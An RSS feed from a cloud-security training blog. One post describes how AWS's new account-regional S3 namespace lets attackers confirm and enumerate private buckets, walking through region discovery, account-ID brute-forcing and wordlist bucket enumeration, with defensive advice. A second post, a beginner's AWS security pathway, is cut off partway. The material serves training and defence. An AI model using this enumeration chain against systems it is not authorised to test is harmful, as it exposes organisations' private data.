<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0">
  <channel>
    <title>Pwned Labs Blog</title>
    <link>https://blog.pwnedlabs.io</link>
    <description>Hands-on cloud and AI security tradecraft from Pwned Labs — AWS, Azure, GCP and Kubernetes attack paths, detection and incident response walkthroughs.</description>
    <language>en</language>
    <pubDate>Thu, 09 Apr 2026 13:00:06 GMT</pubDate>
    <dc:date>2026-04-09T13:00:06Z</dc:date>
    <dc:language>en</dc:language>
    <item>
      <title>A new S3 namespace - and a new problem</title>
      <link>https://blog.pwnedlabs.io/a-new-s3-namespace-and-a-new-problem</link>
      <description>&lt;div class="hs-featured-image-wrapper"&gt; 
 &lt;a href="https://blog.pwnedlabs.io/a-new-s3-namespace-and-a-new-problem" title="" class="hs-featured-image-link"&gt; &lt;img src="https://blog.pwnedlabs.io/hubfs/new_namespace.png" alt="A new S3 namespace - and a new problem" class="hs-featured-image" style="width:auto !important; max-width:50%; float:left; margin:0 15px 15px 0;"&gt; &lt;/a&gt; 
&lt;/div&gt; 
&lt;p style="font-size: 20px;"&gt;AWS S3 has long suffered from the bucketsquatting problem. Because bucket names lived in a single global namespace, threat actors could preemptively register bucket names they predicted an organization would use. After nearly a decade of reports, AWS has finally introduced account-regional namespaces to address this: &lt;span style="color: #ec38bc; background-color: transparent;"&gt;&amp;lt;bucket-name&amp;gt;-&amp;lt;account-id&amp;gt;-&amp;lt;region&amp;gt;-an&lt;br&gt;&lt;br&gt;&lt;span style="color: #cccccc;"&gt;While the account regional namespace format&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #ec38bc; background-color: transparent;"&gt;&lt;span style="color: #cccccc;"&gt;&amp;nbsp;is not currently the default option when creating a new bucket, it is the one that AWS recommends.&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="background-color: transparent;"&gt;&lt;br&gt;F&lt;/span&gt;&lt;span style="background-color: transparent;"&gt;or example, the S3 bucket&amp;nbsp;&lt;/span&gt;&lt;span style="background-color: transparent; font-weight: normal;"&gt;myapp-123456789123-eu-north-1-an created in the region EU North, would be accessible via HTTP here: https://myapp-&lt;span style="background-color: transparent; font-weight: normal;"&gt;123456789123&lt;/span&gt;-eu-north-1-an.s3.eu-north-1.amazonaws.com.&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;This is a welcome fix. Bucketsquatting was a legitimate problem, and the community has been waiting for a solution. For more detail on the bucketsquatting issue and how the new namespace addresses it, check out the excellent writeup from One Cloud &lt;a href="https://onecloudplease.com/blog/bucketsquatting-is-finally-dead" style="text-decoration: underline;"&gt;Please: Bucketsquatting is (Finally) Dead&lt;/a&gt;.&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;But there is a flip side.&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt;</description>
      <content:encoded>&lt;p style="font-size: 20px;"&gt;AWS S3 has long suffered from the bucketsquatting problem. Because bucket names lived in a single global namespace, threat actors could preemptively register bucket names they predicted an organization would use. After nearly a decade of reports, AWS has finally introduced account-regional namespaces to address this: &lt;span style="color: #ec38bc; background-color: transparent;"&gt;&amp;lt;bucket-name&amp;gt;-&amp;lt;account-id&amp;gt;-&amp;lt;region&amp;gt;-an&lt;br&gt;&lt;br&gt;&lt;span style="color: #cccccc;"&gt;While the account regional namespace format&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #ec38bc; background-color: transparent;"&gt;&lt;span style="color: #cccccc;"&gt;&amp;nbsp;is not currently the default option when creating a new bucket, it is the one that AWS recommends.&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;img src="https://blog.pwnedlabs.io/hs-fs/hubfs/image-png-Mar-13-2026-07-23-34-5958-PM.png?width=2332&amp;amp;height=1142&amp;amp;name=image-png-Mar-13-2026-07-23-34-5958-PM.png" width="2332" height="1142"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color: #ec38bc; font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace; background-color: transparent;"&gt;&lt;/span&gt;&lt;span style="background-color: transparent;"&gt;&lt;br&gt;F&lt;/span&gt;&lt;span style="background-color: transparent;"&gt;or example, the S3 bucket&amp;nbsp;&lt;/span&gt;&lt;span style="background-color: transparent; font-weight: normal;"&gt;myapp-123456789123-eu-north-1-an created in the region EU North, would be accessible via HTTP here: https://myapp-&lt;span style="background-color: transparent; font-weight: normal;"&gt;123456789123&lt;/span&gt;-eu-north-1-an.s3.eu-north-1.amazonaws.com.&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;This is a welcome fix. Bucketsquatting was a legitimate problem, and the community has been waiting for a solution. For more detail on the bucketsquatting issue and how the new namespace addresses it, check out the excellent writeup from One Cloud &lt;a href="https://onecloudplease.com/blog/bucketsquatting-is-finally-dead" style="text-decoration: underline;"&gt;Please: Bucketsquatting is (Finally) Dead&lt;/a&gt;&lt;span style="text-decoration: underline;"&gt;&lt;/span&gt;.&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;But there is a flip side.&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt;  
&lt;div style="background-color: #f0f4f8; border-left: 4px solid #1a73e8; padding: 20px; margin: 20px 0; font-size: 16px; line-height: 1.6;"&gt;
 &lt;span style="color: #000000;"&gt;&lt;strong&gt;Key Takeaway:&lt;/strong&gt; The new S3 account-regional namespace solves bucketsquatting. That is a real improvement. But it also introduces a new enumeration vector. Organizations that rely on security through obscurity for their S3 bucket names should take note. The new format makes it easier for threat actors to discover and confirm ownership of buckets, even when those buckets are not publicly accessible.&lt;/span&gt;
&lt;/div&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
&lt;div&gt; 
 &lt;h2 style="font-size: 36px;"&gt;The New Problem: Predictable Enumeration&lt;/h2&gt; 
 &lt;p&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;The new naming convention embeds the AWS account ID and region directly into the bucket name. AWS does not consider an account ID to be sensitive information. However, in the hands of a threat actor, a known account ID combined with a predictable naming format creates a straightforward path to bucket enumeration.&lt;br&gt;&lt;br&gt;Previously, if an attacker wanted to discover S3 buckets belonging to a specific organization, they had to guess bucket names from a flat, global namespace with no way to confirm ownership unless the bucket was publicly accessible. That has changed.&lt;br&gt;&lt;br&gt;With the new namespace, an attacker who knows the target's AWS account ID and region can construct the full bucket URL for any bucket name guess. Even if the bucket is not public, a valid response confirms it exists and belongs to that account. That confirmation alone is valuable reconnaissance.&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
 &lt;h2 style="font-size: 36px;"&gt;Attack Scenario: From Public Repo to Private Buckets&lt;/h2&gt; 
 &lt;p&gt;&lt;br&gt;Here is a realistic scenario that demonstrates the issue.&lt;br&gt;&lt;br&gt;&lt;span style="color: #fafafa; font-size: 20px;"&gt;Step 1: Discover a Bucket Name&lt;/span&gt;&lt;br&gt;&lt;br&gt;Let's say that company's public code repository references an S3 bucket named &lt;span style="color: #ec38bc;"&gt;hlogistics-website&lt;/span&gt;. This bucket exists in the original global namespace and serves website files. It is intentionally public.&lt;br&gt;&lt;br&gt;&lt;span style="color: #fafafa; font-size: 20px;"&gt;Step 2: Determine the Region&lt;/span&gt;&lt;br&gt;&lt;br&gt;A simple HEAD request against the global S3 endpoint reveals the bucket's region through a 307 Temporary Redirect response:&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
 &lt;p&gt;&lt;br&gt;&lt;br&gt;The response header &lt;span style="color: #ec38bc;"&gt;x-amz-bucket-region: eu-north-1&lt;/span&gt; confirms the bucket lives in Stockholm.&lt;br&gt;&lt;br&gt;&lt;span style="color: #fafafa; font-size: 20px;"&gt;Step 3: Extract the AWS Account ID&lt;/span&gt;&lt;br&gt;&lt;br&gt;Using the publicly accessible bucket and a known technique (such as the &lt;a href="https://github.com/WeAreCloudar/s3-account-search" style="text-decoration: underline;"&gt;s3-account-search&lt;/a&gt; tool), the attacker can brute force the AWS account ID associated with the bucket. The tool progressively narrows down the 12-digit account ID:&lt;/p&gt; 
 &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;The full account ID is found to be &lt;span style="background-color: transparent; font-weight: normal;"&gt;123456789123&lt;/span&gt;.&lt;br&gt;&lt;br&gt;If you want to get hands-on with this technique, check out the lab &lt;a href="https://pwnedlabs.io/labs/identify-the-aws-account-id-from-a-public-s3-bucket" style="text-decoration: underline;"&gt;Identify the AWS Account ID from a Public S3 Bucket&lt;/a&gt; on the Pwned Labs platform.&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 20px; color: #fafafa;"&gt;Step 4: Enumerate Buckets in the New Namespace&lt;/span&gt;&lt;br&gt;&lt;br&gt;Now the attacker has everything needed. They know the account ID (&lt;span style="background-color: transparent; font-weight: normal;"&gt;123456789123&lt;/span&gt;) and the region (eu-north-1). The new namespace format is predictable:&lt;br&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace; color: #ec38bc;"&gt;&amp;lt;bucket-name&amp;gt;-123456789123-eu-north-1-an.s3.eu-north-1.amazonaws.com&lt;/span&gt;&lt;br&gt;&lt;br&gt;Using a tool like &lt;a href="https://github.com/ffuf/ffuf"&gt;&lt;span style="text-decoration: underline;"&gt;ffuf&lt;/span&gt;&lt;/a&gt; with a common wordlist, the attacker can brute force bucket names against this format:&lt;/p&gt; 
 &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p&gt;&lt;br&gt;A 200 or 403 response confirms the bucket exists and belongs to the target organization. Private buckets still reveal their presence. Public buckets expose whatever data is stored inside. In this case, we have discovered two buckets - &lt;span style="font-weight: normal; color: #ec38bc;"&gt;files&lt;/span&gt; and &lt;span style="font-weight: normal; color: #ec38bc;"&gt;transfer&lt;/span&gt; -&amp;nbsp;both responding in the new account-regional namespace format.&lt;br&gt;&lt;br&gt;&lt;span style="color: #fafafa; font-size: 20px;"&gt;Step 5: Brute Force Objects&lt;/span&gt;&lt;br&gt;&lt;br&gt;Discovering a non-public bucket is just the beginning. If any objects within that bucket are individually accessible due to misconfigured ACLs, the attacker can begin brute forcing file and object names to access sensitive data.&lt;/p&gt; 
 &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;h2 style="font-size: 36px;"&gt;Why This Matters&lt;/h2&gt; 
 &lt;p&gt;&lt;span style="background-color: transparent; font-size: 1rem;"&gt;&lt;br&gt;This is not a vulnerability in the traditional sense. AWS designed the namespace this way and does not treat account IDs as secrets (although knowing the AWS account IDs is so useful to a potential attacker, that it would be better if they were). But this is another example of how predictable naming conventions, combined with easily obtainable metadata, create opportunities for threat actors.&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;Before this change, discovering buckets in the global namespace gave no reliable signal of ownership&lt;/span&gt;, if the bucket itself wasn't public. A bucket named files could belong to anyone. Now, a bucket at files-&lt;span style="background-color: transparent; font-weight: normal;"&gt;123456789123&lt;/span&gt;-eu-north-1-an is confirmed to belong to account &lt;span style="background-color: transparent; font-weight: normal;"&gt;123456789123&lt;/span&gt;. The ownership signal is built into the name.&lt;/p&gt; 
 &lt;p&gt;The attack chain is straightforward:&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
 &lt;ol&gt; 
  &lt;ol&gt; 
   &lt;ol style="display: inline-block; text-align: left; margin: 0px; padding-left: 1em; list-style-position: outside; max-width: 900px; line-height: 1.5;"&gt; 
    &lt;li style="font-size: 20px; color: #7303c0; margin: 0.25em 0;"&gt;&lt;span style="color: #cccccc; font-family: Helvetica, Arial, sans-serif;"&gt; Find a public bucket or leaked bucket name (code repositories, config files, error messages) that belongs to a target&lt;/span&gt;&lt;/li&gt; 
    &lt;li style="font-size: 20px; color: #7303c0; margin: 0.25em 0;"&gt;&lt;span style="color: #cccccc; font-family: Helvetica, Arial, sans-serif;"&gt; Determine the region via a HEAD request &lt;/span&gt;&lt;/li&gt; 
    &lt;li style="font-size: 20px; color: #7303c0; margin: 0.25em 0;"&gt;&lt;span style="color: #cccccc; font-family: Helvetica, Arial, sans-serif;"&gt; Extract the account ID using known techniques &lt;/span&gt;&lt;/li&gt; 
    &lt;li style="font-size: 20px; color: #7303c0; margin: 0.25em 0;"&gt;&lt;span style="color: #cccccc; font-family: Helvetica, Arial, sans-serif;"&gt; Enumerate new-format buckets with a wordlist &lt;/span&gt;&lt;/li&gt; 
    &lt;li style="font-size: 20px; color: #7303c0; margin: 0.25em 0;"&gt;&lt;span style="color: #cccccc; font-family: Helvetica, Arial, sans-serif;"&gt; Brute force object names on any discovered buckets&lt;/span&gt;&lt;/li&gt; 
   &lt;/ol&gt; 
  &lt;/ol&gt; 
 &lt;/ol&gt; 
 &lt;p&gt;&lt;br&gt;Each step uses publicly available tools and techniques.&lt;/p&gt; 
 &lt;p&gt;&lt;span style="background-color: transparent; font-size: 1rem;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt; 
&lt;/div&gt; 
&lt;h2&gt;Bottom Line&lt;/h2&gt; 
&lt;p&gt;Do not rely on bucket names being hard to guess. Assume your buckets can and will be discovered. Ensure every bucket has appropriate access controls, bucket policies, and monitoring in place. The fact that a bucket is not public does not mean it is invisible. Review your S3 configurations. Enable S3 server access logging or CloudTrail data events to detect enumeration attempts. And treat your AWS account ID as a piece of information that threat actors will find.&lt;/p&gt;    
&lt;img src="https://track-eu1.hubspot.com/__ptq.gif?a=27219020&amp;amp;k=14&amp;amp;r=https%3A%2F%2Fblog.pwnedlabs.io%2Fa-new-s3-namespace-and-a-new-problem&amp;amp;bu=https%253A%252F%252Fblog.pwnedlabs.io&amp;amp;bvt=rss" alt="" width="1" height="1" style="min-height:1px!important;width:1px!important;border-width:0!important;margin-top:0!important;margin-bottom:0!important;margin-right:0!important;margin-left:0!important;padding-top:0!important;padding-bottom:0!important;padding-right:0!important;padding-left:0!important; "&gt;</content:encoded>
      <category>Red Team</category>
      <category>AWS</category>
      <category>s3</category>
      <pubDate>Fri, 13 Mar 2026 20:41:54 GMT</pubDate>
      <author>ian@pwnedlabs.io (Ian Austin)</author>
      <guid>https://blog.pwnedlabs.io/a-new-s3-namespace-and-a-new-problem</guid>
      <dc:date>2026-03-13T20:41:54Z</dc:date>
    </item>
    <item>
      <title>Getting started with AWS Security</title>
      <link>https://blog.pwnedlabs.io/getting-started-with-aws-security</link>
      <description>&lt;div class="hs-featured-image-wrapper"&gt; 
 &lt;a href="https://blog.pwnedlabs.io/getting-started-with-aws-security" title="" class="hs-featured-image-link"&gt; &lt;img src="https://blog.pwnedlabs.io/hubfs/aws_pathway.png" alt="Getting started with AWS Security" class="hs-featured-image" style="width:auto !important; max-width:50%; float:left; margin:0 15px 15px 0;"&gt; &lt;/a&gt; 
&lt;/div&gt; 
&lt;p&gt;&lt;span style="font-size: 20px;"&gt;Many people want to know "how do I get started with AWS security?", and this blog post is for them. The pathway in this blog post will help many beginners to get started with learning AWS security. We introduce the prerequisites to know before learning AWS security, hands-on labs to learn the security of key AWS services, some key tools to be familiar with, and also highlight a real-world data breach in the cloud.&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&lt;span style="font-size: 20px;"&gt;Pwned Labs Academy is the place to get real-world experience and kickstart your cloud security career. Whether you're a total beginner or you’re currently studying for an AWS security certification, Pwned Labs has over 40 hours of free hands-on cloud security scenarios providing you with job-ready skills.&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;span style="font-size: 20px;"&gt;Many people want to know "how do I get started with AWS security?", and this blog post is for them. The pathway in this blog post will help many beginners to get started with learning AWS security. We introduce the prerequisites to know before learning AWS security, hands-on labs to learn the security of key AWS services, some key tools to be familiar with, and also highlight a real-world data breach in the cloud.&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&lt;span style="font-size: 20px;"&gt;Pwned Labs Academy is the place to get real-world experience and kickstart your cloud security career. Whether you're a total beginner or you’re currently studying for an AWS security certification, Pwned Labs has over 40 hours of free hands-on cloud security scenarios providing you with job-ready skills.&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt;  
&lt;div style="background-color: #f0f4f8; border-left: 4px solid #1a73e8; padding: 20px; margin: 20px 0; font-size: 16px; line-height: 1.6;"&gt;
 &lt;span style="color: #000000;"&gt;&lt;strong&gt;Key Takeaway:&lt;/strong&gt; Foundational AWS security competency requires understanding IAM policies, S3 bucket misconfigurations, EC2 metadata service exploitation, and CloudTrail monitoring; real-world breaches demonstrate that public EBS snapshots and exposed databases continue to expose sensitive data at scale.&lt;/span&gt;
&lt;/div&gt; 
&lt;div style="font-size: 18px;"&gt; 
 &lt;h1 style="font-size: 32px;"&gt;&lt;br&gt;In demand skills&amp;nbsp; &#x1f4c8;&lt;/h1&gt; 
 &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;Cloud security is a great career choice. There’s increasing demand for and awareness of cybersecurity, and most organizations are on some journey towards hybrid multi-cloud, if they aren’t cloud native already. On-premises isn’t going away, but the accelerating adoption of the cloud and growth of cybersecurity means that the future is bright for aspiring cloud security professionals.&lt;/p&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt; 
 &lt;p&gt;&lt;img src="https://blog.pwnedlabs.io/hs-fs/hubfs/image-png-May-27-2024-10-21-12-7103-PM.png?width=1800&amp;amp;height=1004&amp;amp;name=image-png-May-27-2024-10-21-12-7103-PM.png" width="1800" height="1004"&gt;&lt;/p&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;As an aspiring AWS security professional you can use the following pathway as well as the free &lt;a href="https://pwnedlabs.io/roadmaps/cloud-security-engineer/"&gt;Cloud Security Engineer roadmap&lt;/a&gt; included in the useful resources section to get started with AWS security, whatever your starting point!&lt;/span&gt; &lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
 &lt;h2 style="font-size: 32px; font-weight: bold; margin: .67em 0;"&gt;Let's get started!&amp;nbsp; &#x1f4a5;&lt;br&gt;&lt;br&gt;&lt;/h2&gt; 
 &lt;p style="font-size: 18px;"&gt;For newcomers to Pwned Labs, welcome!&amp;nbsp;&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;With Pwned Labs you can get hands-on with realistic scenarios that can be put into practice straight away. Head over to &lt;a href="https://pwnedlabs.io"&gt;&lt;span&gt;https://pwnedlabs.io&lt;/span&gt;&lt;/a&gt; you’ll find a range of free and premium content that are suitable for beginners and pros alike. Most of the labs don’t require you to have your own AWS account -&amp;nbsp; just plug and pwn.&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;This blog post provides a suggested path through the Pwned Labs content library that we would recommend to take, if starting from the beginning. Once you have some labs under your belt, feel free to leave the path and explore on your own!&amp;nbsp; &#x1f680;&lt;/p&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt; 
 &lt;h2 style="font-size: 32px; font-weight: bold; margin: .67em 0;"&gt;Featured content creator: Tyler Ramsbey&amp;nbsp; ▶️&lt;/h2&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;Sometimes we might want to learn by ourselves, but often it’s more fun with others! &lt;a href="https://www.linkedin.com/in/tyler-ramsbey-86221643"&gt;&lt;span&gt;Tyler Ramsbey&lt;/span&gt;&lt;/a&gt; from Rhino Security has created a &lt;a href="https://www.youtube.com/playlist?list=PLMoaZm9nyKaPBtCuAQVbvhJa8a4HTrZgc"&gt;&lt;span&gt;YouTube playlist&lt;/span&gt;&lt;/a&gt; of AWS security labs from Pwned Labs. Pwn your way through the labs and learn AWS security with Tyler!&lt;/p&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt; 
 &lt;p&gt;&lt;a href="https://www.youtube.com/playlist?list=PLMoaZm9nyKaPBtCuAQVbvhJa8a4HTrZgc"&gt;&lt;img src="https://blog.pwnedlabs.io/hs-fs/hubfs/image-png-May-27-2024-10-22-09-5316-PM.png?width=2128&amp;amp;height=614&amp;amp;name=image-png-May-27-2024-10-22-09-5316-PM.png" width="2128" height="614"&gt;&lt;/a&gt;&lt;/p&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;Tyler’s content is excellent and if you haven’t yet checked out his friendly discord community &lt;a href="https://discord.gg/Q8qqKm43"&gt;&lt;span&gt;Hack Smarter&lt;/span&gt;&lt;/a&gt; then you definitely should! It’s a great place to get advice and support from industry peers and beginners alike.&lt;/p&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt; 
 &lt;h2 style="font-size: 32px; font-weight: bold; margin: .67em 0;"&gt;What should I know before learning AWS security?&amp;nbsp; &#x1f9d0;&lt;/h2&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;You need to be familiar with the Linux command-line. We frequently use the Linux command-line to perform tasks in the cloud, due to its customizability and great support for cloud platform, security and DevOps tooling. &lt;a href="https://ubuntu.com/download/desktop"&gt;Ubuntu&lt;/a&gt; is a solid choice of Linux distro given its ease of use and large community. Set up and play with Linux, then work your way through the &lt;a href="https://overthewire.org/wargames/bandit/bandit0.html"&gt;OvertheWire Bandit&lt;/a&gt; wargame to get practice with Linux shell commands!&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;&lt;/span&gt;&lt;/p&gt; 
 &lt;p&gt;&lt;img src="https://blog.pwnedlabs.io/hs-fs/hubfs/image-png-May-27-2024-10-23-00-9895-PM.png?width=1852&amp;amp;height=742&amp;amp;name=image-png-May-27-2024-10-23-00-9895-PM.png" width="1852" height="742"&gt;&lt;/p&gt; 
 &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;&lt;span style="background-color: transparent; text-align: var(--bs-body-text-align);"&gt;You also need to have a basic familiarity with AWS services. The Cloud Resume Challenge created by &lt;a href="https://www.linkedin.com/in/forrestbrazeal"&gt;Forrest Brazeal&lt;/a&gt; is a great way to do this: &lt;/span&gt;&lt;a href="https://cloudresumechallenge.dev/" style="text-align: var(--bs-body-text-align);"&gt;https://cloudresumechallenge.dev/&lt;/a&gt;&lt;span style="background-color: transparent; text-align: var(--bs-body-text-align);"&gt; . The Cloud Resume Challenge is a hands-on project designed to guide participants through the essentials of cloud computing. It incorporates many of the skills that real Cloud and DevOps engineers use in their daily work.&lt;/span&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
 &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p&gt;&lt;a href="https://cloudresumechallenge.dev/"&gt;&lt;img src="https://blog.pwnedlabs.io/hs-fs/hubfs/image-png-May-27-2024-11-00-03-9961-PM.png?width=1280&amp;amp;height=720&amp;amp;name=image-png-May-27-2024-11-00-03-9961-PM.png" width="1280" height="720"&gt;&lt;/a&gt;&lt;/p&gt; 
 &lt;p&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
 &lt;h2 style="font-size: 32px; font-weight: bold; margin: .67em 0;"&gt;What is an AWS account ID? &amp;nbsp;☁️&lt;/h2&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;An AWS Account ID is a unique 12-digit number that identifies an AWS account. This number is used by Amazon Web Services to differentiate each individual account registered on their platform. The AWS Account ID is important for setting permissions, managing access, and segregating resources between accounts when using AWS services. It is also commonly used in constructing ARNs (Amazon Resource Names), which uniquely identify AWS resources.&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
 &lt;p&gt;&lt;img src="https://blog.pwnedlabs.io/hs-fs/hubfs/image-png-May-27-2024-10-25-07-7354-PM.png?width=1978&amp;amp;height=1192&amp;amp;name=image-png-May-27-2024-10-25-07-7354-PM.png" width="1978" height="1192"&gt;&lt;/p&gt; 
 &lt;p&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;In our first lab we're presented with the website below of the company Mega Big Tech and learn how &lt;/span&gt;&lt;span style="font-size: 18px;"&gt;we can find the AWS account ID from &lt;strong&gt;&lt;em&gt;any&lt;/em&gt;&lt;/strong&gt; public S3 bucket. &lt;/span&gt;&lt;/p&gt; 
 &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;FREE hands-on lab:&lt;br&gt;&lt;a href="https://pwnedlabs.io/labs/identify-the-aws-account-id-from-a-public-s3-bucket"&gt;&lt;span&gt;https://pwnedlabs.io/labs/identify-the-aws-account-id-from-a-public-s3-bucket&lt;/span&gt;&lt;/a&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;Follow along with Tyler:&lt;br&gt;&lt;a href="https://www.youtube.com/watch?v=O1HPnYCzh7g&amp;amp;list=PLMoaZm9nyKaPBtCuAQVbvhJa8a4HTrZgc&amp;amp;index=9"&gt;&lt;span&gt;https://www.youtube.com/watch?v=O1HPnYCzh7g&amp;amp;list=PLMoaZm9nyKaPBtCuAQVbvhJa8a4HTrZgc&lt;/span&gt;&lt;/a&gt;&lt;/p&gt; 
 &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;&lt;img src="https://s3.amazonaws.com/useast1-images-pwnedlabs.io/uploads/puqbwllvax2z92twopalhjdb0x4tzsr8.png" width="1558" height="757"&gt;&lt;/span&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
 &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;h2 style="font-size: 32px; font-weight: bold; margin: .67em 0;"&gt;Leveraging an AWS account ID to access resources&amp;nbsp; &#x1f3af;&lt;/h2&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;If threat actors get their hands on an AWS Account ID, they can try to identify the IAM roles and users tied to that account. They can do this by taking advantage of detailed error messages that AWS services return when inputting an incorrect username or role name. These messages can verify if an IAM user or role exists, which can help threat actors compile a list of possible targets in the AWS account. It's also possible to filter public resource snapshots by the AWS Account ID that owns it. &lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;This chains nicely together to the next lab! We’ll use the AWS account ID to identify sensitive resources that a company seems to have shared publicly. This lab is based on real-world research. &lt;span&gt;In 2018, Duo Security published an&amp;nbsp;&lt;/span&gt;&lt;a href="https://duo.com/blog/beyond-s3-exposed-resources-on-aws"&gt;article&lt;/a&gt;&lt;span&gt;&amp;nbsp;stating that they found 116,386 public EBS (Elastic Block Store) snapshots from 3,213 accounts. At DEFCON 27 (2019) Ben Morris presented some interesting research on publicly exposed EBS volumes, in which he confirmed 50 exposures and estimated a total of 750-1250 exposures across all AWS regions &lt;/span&gt;&#x1f640;&lt;/p&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;FREE hands-on lab:&lt;br&gt;&lt;a href="https://pwnedlabs.io/labs/loot-public-ebs-snapshots"&gt;&lt;span&gt;https://pwnedlabs.io/labs/loot-public-ebs-snapshots&lt;/span&gt;&lt;/a&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;Follow along with Afshan:&lt;br&gt;&lt;a href="https://www.youtube.com/watch?v=Ma9e0AmFpDE"&gt;&lt;span&gt;https://www.youtube.com/watch?v=Ma9e0AmFpDE&lt;/span&gt;&lt;/a&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;h2&gt;&amp;nbsp;&lt;/h2&gt; 
 &lt;p&gt;&lt;a href="https://www.youtube.com/watch?v=HXM1rBk_wXs"&gt;&lt;img src="https://s3.amazonaws.com/useast1-images-pwnedlabs.io/uploads/fqmfnsajtk7h9ub2mkmtezf0ffigiooh.png" width="1588" height="811"&gt;&lt;/a&gt;&lt;/p&gt; 
 &lt;p&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
 &lt;h2 style="font-size: 32px; font-weight: bold; margin: .67em 0;"&gt;Key service: AWS IAM&amp;nbsp; &#x1fa96;&lt;/h2&gt; 
 &lt;p&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt; 
